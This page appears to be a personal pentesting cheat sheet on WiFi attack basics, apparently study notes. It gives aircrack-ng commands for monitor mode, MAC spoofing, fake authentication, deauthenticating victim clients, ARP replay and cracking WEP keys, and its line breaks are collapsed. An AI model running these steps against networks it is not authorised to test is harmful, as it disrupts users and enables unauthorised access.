~/bokkapig
hack the box machine writeups
← cd ..

Wifi - Basics

contents
wifi-basics.md

Tools#

Linux Wireless Basics#

AP_MAC="XX:XX:XX:XX:XX"       # BSSIDVICTIM_MAC="XX:XX:XX:XX:XX"   # VICATTACKER_MAC="XX:XX:XX:XX:XX" # MONAP_SSID="wifibox"             # ESSIDSRC_ADDR="192.168.1.1"DST_ADDR="192.168.1.255"
# driver installapt install realtek-rtl88xxau-dkms# network card reconiwconfigiw listdmesg | grep 8187 # alfa card# Increase Wi-Fi TX Poweriw reg set B0iwconfig wlan0 txpower <NmW|NdBm|off|auto> # txpower is 30 (usually)# find SSID and channeliw dev wlan0 scan | grep SSIDiw dev wlan0 scan | egrep "DS\ Parameter\ set|SSID"iwlist wlan0 scanning | egrep "ESSID|Channel"# monitor mode - startairmon-ng start wlan0airmon-ng start wlan0 3 # only on a particular channel e.g: 3    * Manual 1: iw dev wlan0 interface add mon0 type monitor    * Manual 2: iwconfig wlan0 mode monitor channel 3ifconfig mon0 up# monitor mode - stopairmon-ng stop mon0    * Manual 1: iw dev wlan0 interface del mon0     * Manual 2: iwconfig wlan0 mode managed

Aircrack-ng Essentials#

  • Check and kill processes that could interfere with our monitor mode

    airmon-ng checkairmon-ng check killpkill dhclientpkill dhclient3pkill wpa_supplicant

  • List access points

    airodump-ng mon0airodump-ng mon0 -c 3 # only on a particular channel e.g: 3airodump-ng mon0 -c 3 --bssid $AP_MAC -w clearcap # dump traffic

  • Get and set mac address

    macchanger -s mon0macchanger --show mon0

  • Check aireplay card compatibility

    aireplay-ng -9 mon0 -> test injectionaireplay-ng -9 -i wlan1 mon0 -> test card to card injection

Aircrack compatibility#

Fake authentication attack#

:warning: use it before each attack

airodump-ng -c 3 --bssid $AP_MAC -w wep1 mon0# fake authentication = no arpaireplay-ng -1 0 -e AP_SSID -b $AP_MAC -h $ATTACKER_MAC mon0    * Might need a real $ATTACKER_MAC, observe traffic using airodump > Association successful! :-)# fake authentication for picky AP# Send keep-alive packets every 10 secondsaireplay-ng -1 6000 -o 1 -q 10 -e <ESSID> -a <AP MAC> -h <Your MAC> <interface># might need to fake your MAC ADDRESS first

Deauthentication attack#

Force ARP packet to be sent.

aireplay-ng -0 1 -a $AP_MAC -c $VICTIM_MAC mon0    * -0 : 1 deauthentication, 0 unlimited > Sending 64 directed DeAuth.

ARP Replay Attack#

Video: wifu-20.mp4 The attack listens for an ARP packet and then retransmits it back to the access point. This, in turn, causes the AP to repeat the ARP packet with a new IV. By collecting enough of these IVs Aircrack-ng can then be used to crack the WEP key.

aireplay-ng -3 -b $AP_MAC -h $ATTACKER_MAC mon0 * ATTACKER_MAC if fake authentication launched * CONNECTED_MAC if a client is associated# -x 1000 -n 1000# aireplay-ng -3 –x 1000 –n 1000 –b $AP_MAC -h $ATTACKER_MAC wlan0mon# wait for ARP on the network# alternatively you can de-auth some clientsaircrack-ng –b <BSSID> <PCAP_of_FileName>aircrack-ng -0 wep1.cap    * -0 : colored output

References#